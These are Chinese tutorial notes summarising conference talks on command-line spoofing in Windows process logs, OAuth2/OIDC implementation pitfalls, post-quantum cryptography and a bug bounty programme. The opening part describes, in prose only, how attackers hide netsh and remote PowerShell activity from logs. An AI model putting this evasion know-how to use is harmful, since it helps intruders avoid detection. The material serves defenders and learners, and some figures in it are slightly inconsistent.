我们联系了Sysmon的作者Mark Russinovich,建议在日志中添加进程创建时的线程状态标志(例如是否以挂起状态创建)。理论上,这能帮助识别可疑行为。然而,现有的Process Tampering事件并不适用于此场景,且该建议未被采纳。

随后,我们通过MSRC向微软提交了安全报告。微软的回应是:该技术未跨越安全边界,因此不符合修复标准。微软认为,任何用户都可以修改自己进程的内存,这属于预期行为。虽然报告被标记为“有效”,但至今没有修复计划。

演示与总结

在本教程中,我们一起学习了命令欺骗技术。我们通过实际演示验证了其效果:

  1. 使用欺骗后的命令添加防火墙规则,安全日志中只显示虚假的“Teams更新”命令,完全看不到netsh操作。
  2. 运行一个通过rundll32执行远程PowerShell脚本的复合命令。虽然初始命令被欺骗,但后续PowerShell下载和执行的行为依然被记录,为检测提供了机会。

总结
命令欺骗是一种强大且持久的攻击技术,它利用了Windows日志记录机制的根本性设计缺陷。它使得依赖进程创建日志进行检测和调查的安全团队面临巨大挑战。虽然部分EDR能够检测该技术本身,但覆盖并不全面。对于使用内置工具的攻击,日志层面几乎完全失效。目前,最有效的缓解措施是启用并关联所有可用的日志源,特别是PowerShell模块日志,并训练分析师不要盲目信任命令行日志,要结合其他行为证据进行判断。


教程内容基于NDC Security 2025大会演讲《Spoofing Commands - Can You Trust Process Creation Logs?》整理。

014:真实世界中的OAuth2与OIDC故事

在本节课中,我们将跟随Anders Abel的分享,深入探讨OAuth 2.0和OpenID Connect在真实应用场景中遇到的挑战、常见陷阱以及一些不符合规范的有趣案例。我们将从协议规范、令牌管理、会话注销到架构设计等多个维度,解析如何构建更安全、更健壮的身份认证与授权系统。

协议规范与复杂性

上一节我们介绍了课程概述,本节中我们来看看OAuth 2.0和OpenID Connect的规范基础及其复杂性。

OAuth 2.0的核心规范是RFC 6749。它主要关注如何代表用户获取访问令牌以调用API。然而,OAuth 2.0本身并不处理会话概念。用户登录意味着建立一个会话,并且在完成后可能还需要单点注销来销毁会话,这些都不是OAuth 2.0的一部分。

因此,OpenID Connect作为一层建立在OAuth 2.0之上的协议被引入。OpenID Connect提供了安全的会话建立、会话管理以及在注销阶段的会话销毁功能。

访问OpenID Connect的官方页面会发现,它并非单一规范,而是一系列规范的集合。其中一些规范由独立的工作组发布。

以下是当前主要的相关规范列表:

  • RFC 6749: OAuth 2.0核心框架。
  • OpenID Connect Core: 定义OpenID Connect的核心功能。
  • RFC 7636 (Proof Key for Code Exchange): 修复代码替换攻击的风险,尤其在移动设备上。
  • RFC 9207 (Authorization Server Issuer Identification): 修复另一种替换攻击。

这些扩展规范增加了新功能、更高的安全配置文件或适应不同类型的应用程序。但其中一些,如RFC 7636和RFC 9207,实际上是对原始流程的关键安全修复,是每个实现者都应该(或必须)实现的。

这意味着对于实现者来说,要跟上所有规范并不简单。

令牌大小管理

上一节我们讨论了协议的复杂性,本节中我们来看看一个直接影响应用性能和安全的问题:令牌大小。

在一次会议演讲中,有人开玩笑说令牌图片太大,因为令牌本身不应该太大。一个典型的Web应用在通过上游提供商认证登录后,会收到一个访问令牌和一个ID令牌。应用通常会在客户端设置一些Cookie来建立会话。当需要调用API时,必须随请求发送访问令牌,因此需要在客户端保存访问令牌。

事实证明,为了防止注销时的跨站请求伪造攻击,我们还需要保存ID令牌。过去存在一种“注销垃圾邮件”攻击,攻击者可以在隐藏的iframe中加载多个流行网站的注销端点,导致用户在访问某个页面后突然从所有地方登出。这看似是恶作剧,但也可能成为攻击的一部分。例如,如果攻击者发现了登录阶段的攻击方法,能够将用户登出就意味着用户必须重新登录,从而执行攻击。

由于我们需要在整个会话期间保留令牌以便注销和调用API,因此我们希望令牌尽可能小。

这是一个来自Microsoft Entra ID的真实ID令牌示例(经过部分删减)。可以看到其中包含了groups声明。在这个例子中只有四个组,这不算多。但Entra ID的一个特性是允许组嵌套,即组可以是其他组的成员。ID令牌的声明格式无法表达这种嵌套关系,因此Microsoft Entra ID会在将组列表放入ID令牌之前将其展开。

在大型企业中,用户展开后的组列表达到数百个是很常见的。拥有数百个组的令牌会带来问题。Entra ID意识到了这一点,为了确保令牌大小不超过HTTP头部大小限制,它对ID令牌中可以包含的组数量设置了上限——200个。对于一个JWT令牌来说,200个对象已经相当大了。

那么如何解决这个问题呢?OpenID Connect中有一个称为userinfo端点的机制。其思想是发送访问令牌以获取关于用户的实际有效载荷信息。这样做的好处是,我们可以将ID令牌减少到仅包含证明用户身份所需的协议细节和安全措施,最终只在其中保留用户主题ID。而所有其他信息,如名、姓、显示名、组成员资格等,都通过userinfo端点获取。

userinfo端点的另一个优点是,你可以在需要时随时查询。ID令牌仅在会话初始化时接收一次,对于长时间运行的会话,如果信息更新,除非重新登录,否则无法更新。而使用userinfo端点,你可以随时更新用户信息。

因此,userinfo端点是OpenID Connect中管理令牌大小、避免各种问题的关键机制。

让我们看看Microsoft Entra ID的userinfo端点响应示例(来自其文档)。文档说明响应中显示的声明是userinfo端点可以返回的所有声明,这些值与ID令牌中包含的值相同。这意味着他们虽然提供了userinfo端点,但仍然把所有信息都放进了ID令牌。不过,我们至少可以通过userinfo端点更新信息。

文档中关于userinfo端点的注意事项提到:“你无法添加或自定义userinfo端点返回的信息。要自定义身份平台返回的信息,请使用声明映射和可选声明来修改安全令牌配置。”给人的感觉是,Microsoft Entra ID的userinfo端点实现只是为了满足规范要求而做的最低限度的工作。

更有趣的是,文档提到限制令牌中的组数量,但指示应用程序查询Microsoft Graph API来检索用户的组成员资格(显然是在服务器端)。他们甚至提供了通过Microsoft Graph查询此功能的端点。那么,为什么他们不直接将userinfo端点与Graph API挂钩呢?原因不得而知。

注销流程的挑战

上一节我们探讨了令牌管理,本节中我们来看看身份认证流程的终点——注销,以及其中遇到的挑战。

如果一个Web应用有注销按钮,并重定向用户到提供商的end_session端点,IdentityServer会显示一个确认页面:“您确定要从IdentityServer注销吗?是/否”。出现这个页面的原因是存在跨站请求的风险。注销端点是一个GET请求,任何人都可能将用户重定向到该端点。因此需要这个包含正确防伪令牌的表单提交来防止跨站请求伪造攻击。

但这带来了尴尬的用户体验。用户点击注销按钮,本应同样具备跨站请求伪造防护。如果能够对用户进行身份验证,那么ID令牌就派上用场了。如果将ID令牌随注销请求或注销重定向一起发送,那么IdentityServer将不再显示确认页面,并且还能让IdentityServer知道是哪个客户端应用发起了注销,因为客户端ID就在ID令牌的audience参数中。

这允许IdentityServer重定向回来,从而提供良好的用户体验。点击注销意味着重定向,可能有一些屏幕闪烁,但最终用户会回到点击注销的应用中。这才是应有的做法。

然而,Microsoft Entra ID总是显示一个“选择账户”的页面:“您想从哪个账户注销?”,即使你提供了ID令牌提示,它仍然显示这个页面。客户端应用发送的ID令牌包含了用户标识符和请求注销的客户端应用信息。用户标识符就在那里,但Entra ID却问:“嘿,我不明白您想注销哪个?实际上要注销哪个?”事实上,无论你是否发送ID令牌提示,用户体验都是一样的。

进一步测试发现,如果在会话中有两个应用,从应用A发起注销,重定向回应用B会发生什么?事实证明,发起注销的应用和接受重定向的应用之间没有关联。因此,一个应用可以很容易地在注销时重定向到另一个应用。协议规范本应防止这一点。如果严格按照协议规范,每个客户端应用的注销后重定向URL都应该是预先注册的。

令牌颁发者问题

上一节我们讨论了注销流程,本节中我们来看看另一个关键概念:令牌颁发者。

规范包含一项强制性要求:支持发现的OpenID提供商必须在由颁发者字符串拼接路径/.well-known/openid-configuration处提供发现文档。这是OpenID Connect的一个杰出特性,因为这意味着如果我们拿到一个令牌,里面有颁发者信息,我们就可以去获取发现文档,从文档中获得用于验证令牌的公钥。

因此,只要一切符合规范,仅凭一个令牌,我们就能获得正确验证它所需的信息。例如,访问demo.identityserver.com/.well-known/openid-configuration,我们会得到一个发现文档链接,其中包含jwks_uri(公钥地址)和issuer(颁发者)。规范还要求,从发现文档中获得的OpenID提供商颁发者标识符必须与令牌中iss声明的值完全匹配。这是在验证令牌时的严格要求,所有内容都应与渠道保持一致。

这看起来不难做对,但你认为会有人搞错吗?欢迎来到Entra ID的世界。

如果我们有login.microsoftonline.com/{tenant-id}这样的URL(其中指定了租户),并添加/.well-known/openid-configuration,我们得到这个URL。访问它,我们期望颁发者应该是login.microsoftonline.com/123...。但在发现文档中,颁发者没有放在顶部,而是藏在下面:sts.windows.net。实际上,根据规范,这是可以的,因为初始URL login.microsoftonline.com只是一个他们提供的权威URL。规范并没有说你不能在多个位置提供发现文档。

但有趣的问题是,如果我们按照规范要求,将/.well-known/openid-configuration附加到我们从令牌中读取的iss值(sts.windows.net/{tenant-id})上,我们应该在这个URL上也有发现文档。实际上,这个URL确实有发现文档,而且这次的颁发者匹配了。但令人惊讶的是,即使在单租户模式下也是如此。

当我们使用Microsoft Entra ID时,一个应用通常不仅验证到一个Entra ID实例,而是多个。例如,如果你是软件服务提供商,你会有自己的Entra租户,但也希望与客户的提供商联合。当然,你可以在所有客户的每个Entra ID中将你的客户端应用注册为应用注册。但这需要与每个租户沟通,正确设置客户端ID和密码,定期更新客户端密码等,非常繁琐。

Microsoft致力于简化 onboarding 过程。他们引入了这样一个概念:你可以在自己的租户中发布一个应用,并使其对其他人可用。然后所有配置数据都保留在你这里。如果你想更改重定向URI,只需在你的设置中更改,对方无需更新,因为他们本质上使用的是你的应用。

因此,与其让你的应用与所有这些逻辑上独立的上游提供商通信,为什么不添加一个新的虚拟提供商来处理所有其他提供商呢?这正是Microsoft所做的。他们添加了一个新的虚拟颁发者:login.microsoftonline.com/common。如果你使用这个颁发者,意味着“我希望能够访问任何租户,此应用允许任何Entra ID租户中的任何人访问”。

我们对这个通用颁发者也进行同样的发现文档查询。颁发者同样被隐藏,更靠下。它看起来像:https://sts.windows.net/{tenantid}/。这是一个模板字符串。规范中并没有模板的概念,规范要求必须完全匹配。我们尝试使用这个颁发者并附加/.well-known路径,结果返回“无效租户,未找到租户ID”。显然,这种方式行不通。方括号中的{tenantid}明显是一个模板。

回到通用端点,不指定租户ID,我们得到了某些内容。颁发者仍然是模板。在实际操作中,创建一个多租户应用并登录后,得到的ID令牌的解码载荷显示,即使权威机构以通用端点开头,令牌的颁发者却是用户账户的实际租户ID。他们还将租户ID作为一个单独的声明提供。不清楚为什么这样做,因为租户ID已经出现在颁发者URL中了。

总结一下:我们获取发现文档,发现带有模板字符串的颁发者。规范说,从发现文档中获得的OpenID提供商颁发者标识符必须与令牌中iss声明的值完全匹配。但我们得到的iss声明是实际值。因此,如果我们想与Entra ID多租户功能协作,就无法完全符合规范,我们必须移除颁发者验证。然后我们将租户ID作为一个单独的声明处理。在实际的生产代码中,可以看到他们设置了ValidateIssuer = false。这可能被认为不安全,因为它依赖于Microsoft拥有所有人的相同签名密钥这一事实。本质上,我们从一个地方获取签名密钥,然后就可以用这些密钥验证任何租户颁发的令牌。但这仍然不是理想的做法。

那么,更好的方案是什么?回顾我们的图形表示,问题在于我们向这个虚拟的通用OpenID提供商发起登录,但响应却直接来自实际的提供商。更好的方式是拥有一个虚拟提供商,客户端应用始终与同一个虚拟提供商交互,颁发者就是这个虚拟提供商,租户ID仅作为一个声明。或者,为什么需要这个虚拟提供商呢?其中一个租户是我们的主租户,应用注册就在这里创建,为什么不让这个主租户连接到其他逻辑实例呢?如果我们重新安排并添加更多客户端应用,这就是“联合网关”模式。这是我经常推荐的OpenID Connect架构模式。这可能也解决了另一个问题:为什么在现有设置中无法使用Entra ID访客账户,但在这个模式下应该是可能的。

不幸的是,Microsoft在颁发者问题上还有其他“有趣”的做法。例如,在将本地Microsoft ADFS与Azure API管理结合使用的项目中(一个来自本地遗留时代,一个现代云产品),ADFS的颁发者是https://adfs.example.org/adfs。他们创建这个URL作为颁发者,可能是为了让发现文档遵循ADFS中其他路径的模式。但访问令牌的颁发者却是另一个URL。实际上,它对访问令牌和ID令牌使用了不同的颁发者。如果你有一个正常的客户端库和一个下载发现文档的API,它会去检查这个URL。因此你必须处理这个问题。不过有一个修复方法:可以配置“联合服务标识符”,将其更改为与顶层URL相同。但有一个缺点:这个标识符是ADFS实例的全局标识符。通常,如果你在ADFS中添加OpenID Connect支持,很可能已经有许多遗留应用程序在使用ADFS进行WS-Federation或SAML 2.0认证。现在,OpenID Connect要求你更改联合服务标识符,这将破坏所有现有的客户端应用。如果是全新设置,确保它们匹配是很容易的,但这仍然不是最理想的情况。

单点注销的必要性

上一节我们提到了Entra ID的注销问题,本节中我们更深入地探讨单点注销的重要性。

如果我们在一个应用中建立了会话,通常会在两端都有Cookie表示会话:客户端应用有一个会话,身份提供商也有一个会话。如果我们点击注销并简单地移除本地Cookie,然后用户尝试访问受保护资源,通常会发起单点登录流程,用户将直接拿回Cookie,重新登录。这就好比家里的饼干罐,如果饼干被孩子吃了,但饼干能重新出现,那会是好事吗?

在实际生产系统中,这曾是一个真实的错误报告。在瑞典的医疗保健系统中,IDP登录存在会话,并且还涉及智能卡,这意味着只要用户在终端中插入智能卡,单点登录就会工作。如果他们拔掉卡,会话Cookie在某些情况下可能仍然存在。我们在应用中实现了单点注销,但身份提供商没有实现单点注销。这意味着我们只清除了自己的Cookie。然后,一些非常认真的医疗保健专业人员点击链接测试是否还能访问患者记录,结果发现确实可以。

因此,如果我们有单点登录,就始终需要单点注销。没有单点注销,就无法真正注销,因为用户可能被重新登录。

查看IdentityServer的发现文档,会看到有一个end_session_endpoint,用于重定向用户。另一个相当流行的平台是Google。它的发现文档实际上相当短,但搜索后发现,没有end_session_endpoint。你可以注销你的Google账户,但必须手动访问accounts.google.com来发起。Google显然不希望使用这个端点来注销。

对于个人设备,例如我的个人手机,我一直保持登录Google账户,这没问题。但是,如果我借用你的设备处理一些紧急工作然后归还,我会认为在归还电脑前我已经按了注销。这个房间里的每个人都知道,如果我们借用别人的电脑登录,我们会使用隐身窗口以确保关闭后一切都被清除。但普通用户不会这样做。普通用户可能只是登录,点击注销,然后就认为安全了。所以,在我看来,这是一个安全问题。

云身份服务的局限性

上一节我们讨论了协议层面的问题,本节中我们来看看架构概念,特别是云身份服务提供商的局限性。

这是一个来自一家公司的架构图(大约15年前)。当时Azure AD B2C刚推出,他们决定使用它,因为从信任角度来说,让微软这样的成熟公司管理用户凭证是个好主意。他们还需要支持其他提供商。因此,这是一个结合了消费者账户和企业对企业联合账户的应用。

受雇推广微软产品的顾问建议使用新的、优秀的Azure AD B2C。但是,客户端应用需要颁发访问令牌并使用访问令牌调用API,而Azure AD B2C无法很好地做到这一点。所以,他们决定在中间使用IdentityServer。这里的问题是,为什么一定要用Azure AD B2C呢?Azure AD B2C还有一些其他特性,比如“策略”,你可以有登录策略或注册流程策略,它们通过不同的端点定义,并且实际上会反映在生成的令牌中。因此,根据用户是注册、找回密码还是仅仅登录,返回的令牌会有不同的颁发者。我们已经看到了令牌颁发者可能带来的问题。

另一个有趣的案例涉及Okta(但也见于其他提供商如Entra ID、Auth0、AWS Cognito)。表面上看,这是一个良好的架构:两个客户端应用使用共享API,通过Okta实现单点登录,Okta与多个上游提供商联合。但在客户的架构图中,还有更多内容:一个“ID转换层”,这是一个内部服务,用于将来自Okta的任何信息转换为其内部身份标识。

在典型的“联合网关”架构中,联合网关的角色是屏蔽客户端应用,使其免受所有上游提供商复杂性的影响。客户端应用应从联合网关获得统一的内部身份定义,然后由联合网关负责与上游提供商交互并进行转换。事实证明,Okta(在此案例中)无法完全满足他们的所有要求,因此他们不得不插入另一个转换层。我时不时会看到各种云提供商无法提供足够灵活性的类似情况。Entra ID肯定也有这个问题。

我甚至有一个关于AWS Cognito的更糟糕的故事。客户使用AWS Cognito作为Web应用的身份提供商。最终客户(我客户的客户)拥有这个设置。我负责那个Web应用,最终客户来说他们想迁移到AWS Cognito,所以我们需要能够使用它。他们将把他们的AWS Cognito实例连接到他们的CRM系统,目的是用户能够使用Google或Facebook登录,但只有那些实际存在于CRM系统中并与该组织有现有关系的用户才被允许登录。他们本质上希望实现:如果你尝试登录但不在CRM系统中,你将被重定向并停留在CRM系统的注册页面,在那里你可以请求注册然后被允许进入。

事实证明,AWS Cognito可以配置为从CRM系统获取标识符并查询CRM系统,但无法改变认证流程。最终,我们不得不在客户端应用层面实现代码,检查传入的用户是否有CRM ID声明。如果没有,我们必须阻止他们并将其重定向回CRM。但他们已经有一个已建立的会话。这再次说明,云提供商在他们擅长的领域非常出色,但如果你想要任何超出他们预设功能的东西,往往会导致相当尴尬的变通方案。

对于像Entra ID这样的服务,如果你需要一个方盒子,它是一个完美打磨的方盒子。Auth0也是如此。但如果你想改变任何东西,比如颜色或许可以,但如果你想真正调整它,是不可能的。你需要另一种解决方案。

规范本身的缺陷

到目前为止,我一直在批评各种产品,分享遇到的一些不兼容案例。但作为最后一点,我想谈谈规范本身的问题。尽管我喜欢这些规范,但它们并非完美无缺。

让我们从RFC 7617开始,它是对RFC 2617(HTTP基本认证)的澄清。基本认证从用户获取用户名和密码,通过连接用户ID、单个冒号字符和密码来构造用户密码。由于方案限制,用户名中不允许包含冒号,但密码可以。然后使用UTF-8编码用户密码,并使用Base64编码该八位字节序列。

在需要客户端在后通道(例如令牌端点)向授权服务器进行身份验证的流程中,客户端可以使用基本认证。RFC 6749中甚至描述了一点。但OAuth 2.0有自己的定义:客户端ID使用application/x-www-form-urlencoded编码算法进行编码,客户端密码使用相同的算法编码并用作密码。

最近这就出现了一个bug:有人报告说,包含加号字符的客户端密码在使用基本认证时无法与IdentityServer一起工作。原因是,该客户使用了基本认证,而加号在x-www-form-urlencoded编码中具有特殊含义,实际上代表空格字符。所以它不工作。问题是,为什么OAuth 2.0要有自己的定义?他们并没有让我们的生活变得更轻松。

总结

本节课中,我们一起学习了OAuth 2.0和OpenID Connect在真实世界应用中的多个关键方面:

  1. 协议的复杂性:OAuth 2.0与OpenID Connect是一系列不断演进的规范,实现者需要关注核心规范及关键的安全扩展(如PKCE和颁发者标识)。
  2. 令牌管理:过大的令牌(尤其是包含大量声明的ID令牌)会带来性能和安全问题。积极使用userinfo端点是管理令牌大小、获取最新用户信息的推荐做法。
  3. 注销流程:完整的单点登录必须配套单点注销,否则会留下安全漏洞。实现时需注意跨站请求伪造防护和提供流畅的用户体验。
  4. 颁发者验证:颁发者的一致性验证是安全的关键。但一些主流云服务商(如Microsoft Entra ID)的实现方式(多租户模板、ADFS双颁发者)可能与规范存在差异,迫使开发者做出权衡。
  5. 云服务的局限性:公有云身份服务(如Entra ID, Okta, Auth0, AWS Cognito)通常是高度优化的“黑盒”,对于标准场景非常有效,但缺乏灵活性。当业务需求超出其预设功能时,往往需要引入额外的架构层(如联合网关)或进行复杂的变通。
  6. 规范细节:即使协议规范本身,也存在模糊或不一致的地方(如基本认证的编码细节),这要求开发者在实现时仔细阅读规范并进行充分测试。

构建健壮的身份系统需要深入理解协议规范、了解不同提供商的特性与局限,并在架构设计上保持灵活性和前瞻性,以应对不断变化的需求和安全挑战。

015:挑战与机遇

在本节课中,我们将要学习量子安全密码学(也称为后量子密码学)的基本概念。我们将探讨量子计算如何影响当前的加密算法,了解即将到来的新标准,并分析在向新密码学过渡过程中面临的挑战与机遇。

密码学基础回顾

上一节我们介绍了课程概述,本节中我们来看看现代密码学的基础知识。密码学主要分为两大类:公钥密码学和对称密钥密码学。

公钥密码学允许双方在不共享秘密的情况下进行安全通信。以下是其核心应用:

  • 公钥加密:任何人都可以使用接收者的公钥加密消息,生成密文。只有拥有对应私钥的接收者才能解密并读取消息。
  • 数字签名:发送者使用私钥对消息的哈希值(指纹)进行签名。任何人都可以使用对应的公钥验证签名的真实性。

对称密钥密码学要求通信双方预先共享一个密钥。该密钥用于加密和解密消息。一个常见的应用场景是,在访问网站时,双方首先通过迪菲-赫尔曼密钥交换协议建立一个共享密钥。

迪菲-赫尔曼协议的安全性基于离散对数问题的困难性。其核心公式可简化为:给定公开的生成元 g 和模数 p,以及公开值 A = g^a mod p,对于攻击者而言,从 A 反推出秘密指数 a 在计算上是不可行的。

类似地,RSA 算法的安全性则基于大整数质因数分解的困难性。

当前密码学算法及其依赖问题

上一节我们回顾了密码学的基本分类,本节中我们来看看当前广泛使用的具体算法及其依赖的数学难题。

当前主流的公钥密码算法主要基于两类数学问题:

  1. 因式分解问题:RSA 算法基于此,用于加密和签名。
  2. 离散对数问题:这包括基于模运算的迪菲-赫尔曼密钥交换、数字签名算法,以及更高效的椭圆曲线版本。

这些协议的安全性完全依赖于这些数学问题的计算困难性。我们通常用“比特安全”来衡量安全性。例如,128比特安全意味着攻击者需要尝试大约 2^128 次操作才能破解。

对称密钥算法(如 AES)和哈希函数(如 SHA-256)的设计原理不同,它们不依赖于特定的数论问题,而是通过复杂的混淆和扩散操作来确保安全。目前,针对它们的最佳攻击仍然是暴力破解。

这些算法广泛应用于我们的数字生活,例如:

  • 安全通信:Signal, WhatsApp, iMessage
  • 网络连接:TLS/SSL 协议
  • 数字身份认证:政府服务登录
  • 移动支付:各类支付应用

在这些应用中,通常结合使用公钥密码学(用于建立安全连接和身份验证)和对称密钥密码学(用于后续高效的数据加密传输)。

量子计算的威胁

上一节我们了解了当前密码学的基石,本节中我们来看看为何这些基石在未来可能不再稳固。核心威胁来自于量子计算的发展。

量子计算机使用量子比特进行计算。与传统比特(非0即1)不同,量子比特可以处于叠加态,同时表示0和1的某种概率组合。此外,量子比特之间可以发生纠缠,使得对一个量子比特的操作能瞬间影响另一个。

这种计算方式在特定问题上具有巨大潜力。对于密码学而言,有两个量子算法尤为关键:

  1. 肖尔算法:这是一个高效的量子算法,可用于求解整数分解和离散对数问题。理论上,它能够破解所有基于因式分解和离散对数问题的公钥密码体系。
  2. 格罗弗算法:该算法可以对未排序数据库进行平方根级别的加速搜索。这会影响对称密钥算法和哈希函数的安全性,例如,将 AES-128 的理论安全强度从 2^128 降低到 2^64

总结量子计算的影响:

  • 公钥密码学(RSA, 椭圆曲线)完全失效。肖尔算法使其不再安全。
  • 对称密钥密码学(AES)和哈希函数安全性减弱。需要增加密钥长度和输出长度来维持同等安全强度(例如,从 AES-128 升级到 AES-256)。

因此,我们需要寻找能够抵抗量子计算机攻击的新密码学方案,即后量子密码学

后量子密码学简介

上一节我们看到了量子计算的威胁,本节中我们来看看应对之道——后量子密码学。后量子密码学是指在经典计算机上运行,但能够抵抗量子计算机攻击的密码算法。

后量子密码学基于新的数学难题,这些难题被认为即使对于量子计算机也是困难的。主要的研究方向包括:

  • 基于格的密码学
  • 基于编码的密码学
  • 基于超奇异椭圆曲线同源的密码学
  • 基于对称密码原语(如哈希函数)的签名方案

其中,基于格的密码学是目前最主流且即将被标准化的方向。其核心是容错学习问题

LWE问题可以简化为一个线性代数问题:给定一个公开的矩阵 A 和一个向量 b = A * s + e mod q,其中 s 是短秘密向量,e 是短错误向量。从公开的 (A, b) 中恢复出秘密 s 是困难的。

基于LWE问题,可以构造加密和签名方案:

  • 加密:公钥是一个LWE样本 (A, b)。加密时,用公钥构造一个新的LWE样本并叠加消息。解密时,用私钥 s 进行计算并去除噪声恢复消息。
  • 签名:其结构类似于椭圆曲线签名。签名者使用私钥和随机数来回答一个由消息和公开参数生成的挑战。

新标准与性能分析

上一节我们介绍了后量子密码学的核心思想,本节中我们来看看即将到来的具体标准和它们的性能特点。

美国国家标准与技术研究院主导了后量子密码学标准化进程。2022年,首批算法被选定,其中包括:

  1. CRYSTALS-Kyber:将被标准化为 ML-KEM,用于密钥封装(相当于密钥交换)。
  2. CRYSTALS-Dilithium:将被标准化为 ML-DSA,用于数字签名。

以下是它们与当前算法的粗略尺寸对比:

算法类型 示例算法 公钥尺寸 签名/密文尺寸
当前公钥算法 RSA-3072 ~384 字节 ~384 字节
当前公钥算法 椭圆曲线 (P-256) 32 字节 64 字节
后量子算法 ML-KEM (Kyber) 800 字节 768 字节
后量子算法 ML-DSA (Dilithium) 1312 字节 2420 字节

主要挑战:后量子密码学的密钥和签名尺寸显著大于当前算法,这可能会影响网络协议的性能和带宽。然而,在计算速度上,基于格的算法通常比椭圆曲线算法更快。

“现在窃取,以后解密”攻击与迁移时间线

上一节我们讨论了新算法的性能,本节中我们探讨一个紧迫的安全威胁和行业迁移的时间线。

即使量子计算机尚未问世,我们也需要立即关注后量子密码学。原因在于“现在窃取,以后解密”攻击。攻击者可以今天截获并存储加密通信数据,等到未来量子计算机成熟时再进行解密。这对于需要长期保密的数据(如国家机密、医疗记录、电子投票信息)构成严重威胁。

因此,数据需要保持安全的时间长度、迁移到后量子密码学所需的时间,以及量子计算机可能被造出的时间,这三者构成了一个关键的时间窗口。

美国国家安全局已经发布了明确的时间线,要求与政府相关的系统在 2030-2033年 之前完成向后量子密码学的迁移。欧盟则更倾向于采用混合模式,即同时运行传统和后量子算法,只要其中一个是安全的,整体通信就是安全的。

一些应用已经开始部署:

  • Signal:在新会话初始化时使用混合密钥交换。
  • iMessage:采用定期的后量子密钥更新。
  • TLS 1.3:Cloudflare 等服务商已支持后量子密钥交换,目前约30%的互联网流量已受其保护。
  • FIDO/Passkey:研究证明,可以在现有框架内添加后量子签名支持。

挑战、机遇与总结

上一节我们看到了迁移的紧迫性和初步实践,本节中我们来总结全面过渡所面临的主要挑战和潜在机遇。

面临的挑战:

  • 尺寸与性能:更大的密钥和签名尺寸对协议设计、网络带宽和存储提出挑战。
  • 新的数学基础:基于格等新问题的密码学,其安全分析和实现方式与旧算法不同,需要更深入的理解。
  • 实现复杂性:新算法可能以意想不到的方式出错,侧信道攻击防护需要从设计之初就考虑。
  • 标准与互操作性:不同国家或组织可能推荐不同的算法或参数,确保全球互操作性是一大挑战。

潜在的机遇:

  • 抢占先机:早期布局后量子安全的产品和服务,可以在法规生效时获得市场优势。
  • 代码清理:迁移过程是淘汰老旧、不安全密码算法的绝佳机会。
  • 更好的基础:线性代数比椭圆曲线更易于理解和实现,可能催生更安全、高效的实现。
  • 高级应用:基于格的密码学天然支持同态加密等高级隐私计算技术,为安全数据协作打开了新的大门。

本节课中我们一起学习了:

  1. 当前密码学如何依赖于因式分解和离散对数问题。
  2. 量子计算机如何利用肖尔算法和格罗弗算法威胁这些基础。
  3. 后量子密码学如何基于如容错学习等新难题来应对威胁。
  4. 即将标准化的 ML-KEM 和 ML-DSA 算法及其性能特点。
  5. “现在窃取,以后解密”攻击的紧迫性以及行业迁移的时间线。
  6. 向新密码学过渡过程中的主要挑战和未来机遇。

量子安全密码学的时代已经来临。无论量子计算机何时成为现实,为我们的数字未来做好准备,现在正当其时。

016:从DevSecOops到安全成功——FINN.no的漏洞赏金效应

在本节课中,我们将学习FINN.no如何通过实施漏洞赏金计划,成功地从安全困境(DevSecOops)转向安全成功。我们将探讨该计划的运作方式、带来的实际效果,以及它如何成为其应用安全计划的核心组成部分。

概述:FINN.no与安全挑战

FINN.no是挪威最受欢迎的在线市场,用户可以买卖从房屋、汽车到手机等几乎所有物品。其平台由约1100个应用程序组成,拥有超过250个Kubernetes入口端点和更多暴露的API端点。公司拥有约500名开发者,他们可以自由选择任何语言和框架来构建应用,只要能够打包为容器并部署到平台即可。这种灵活性带来了巨大的攻击面,也意味着生产环境中存在漏洞的可能性很高。

DevOps生命周期与DevSecOops

上一节我们介绍了FINN.no的技术环境,本节中我们来看看他们面临的安全挑战是如何在DevOps流程中产生的。

传统的DevOps生命周期理念是让开发者能够自行部署、监控和运维应用。安全社区希望融入这一运动,因此提出了DevSecOps。其定义通常是在各个阶段“撒上”一些安全活动,以期提高安全性。

然而,当规模扩大时,这种做法很容易变成“DevSecOops”。团队会淹没在大量的误报警报中,向开发者发送大量噪音,忙于处理琐事而非真正降低风险。

在FINN.no,他们拥有多个漏洞发现来源:

  • 代码层面:使用CodeQL进行高级静态代码分析,并检查依赖项和密钥。
  • 动态层面:使用Detectify进行24/7的Web应用扫描,并进行攻击面监控。
  • 云安全:使用多种云安全工具。
  • 人工层面:进行传统的渗透测试和漏洞赏金计划。
  • 内部发现:来自开发者或安全团队的内部报告,例如威胁建模或代码审查。

他们尝试追踪这些不同来源,并相互进行基准测试。核心关注点是那些已验证可在生产环境中被利用的漏洞,而非自动化工具产生的大量误报或技术上正确但不可利用的发现。

传统渗透测试的局限性

在引入漏洞赏金计划之前,FINN.no主要依赖传统的渗透测试。在DevOps和快速发布兴起之前,他们采用“发布前测试”模式,这在每年只发布一两次时是合理的。

但随着发布频率增加到每周数次,这种模式无法扩展。从2014年到2018年,他们每年进行两次大型应用渗透测试,每次约1.5周。这无法跟上每周数千次部署的速度。因此,漏洞预测变得模糊,很可能存在大量未被发现的漏洞。

Emil在2019年加入时计算发现,已发现漏洞的平均暴露时间长达800天,其中最老的漏洞已在生产环境存在近11年。2014-2018年间的渗透测试平均每次发现约15个漏洞,成本高昂,且发现的漏洞类型单一,主要是跨站脚本(XSS),缺少SQL注入、SSRF等OWASP Top 10中的其他高风险漏洞。

漏洞赏金计划的引入与“漏洞赏金效应”

上一节我们看到了传统安全测试的瓶颈,本节中我们来看看FINN.no如何通过漏洞赏金计划打破这一局面。

在2019年启动私有的漏洞赏金计划后,他们观察到了“漏洞赏金效应”。发现的漏洞在多样性上大幅增加。原因很简单:现在每周都有大量人员查看网站,而不是每年一两次,相当于在目标上投入了更多“眼球”。

漏洞赏金计划本质上是众包安全测试。公司将其托管在平台上,邀请安全研究员(黑客)参与。研究员阅读测试范围后开始测试,提交报告。公司根据漏洞的影响评估其价值并支付赏金。计划可以是公开或私有的,FINN.no一直保持私有以维持报告质量。

该计划的优势包括:

  • 持续测试:获得更频繁的安全评估。
  • 更多发现:总体上发现更多漏洞。
  • 更多样化:发现各种类型的漏洞,覆盖所有希望找到的漏洞类别。

对于FINN.no,该计划仅在生产环境测试,非常适合面向最终用户的服务。但对于银行ID验证流程或后台管理界面等场景,他们仍然会进行渗透测试。两者都有其适用的场景。

如何运行一个成功的赏金计划

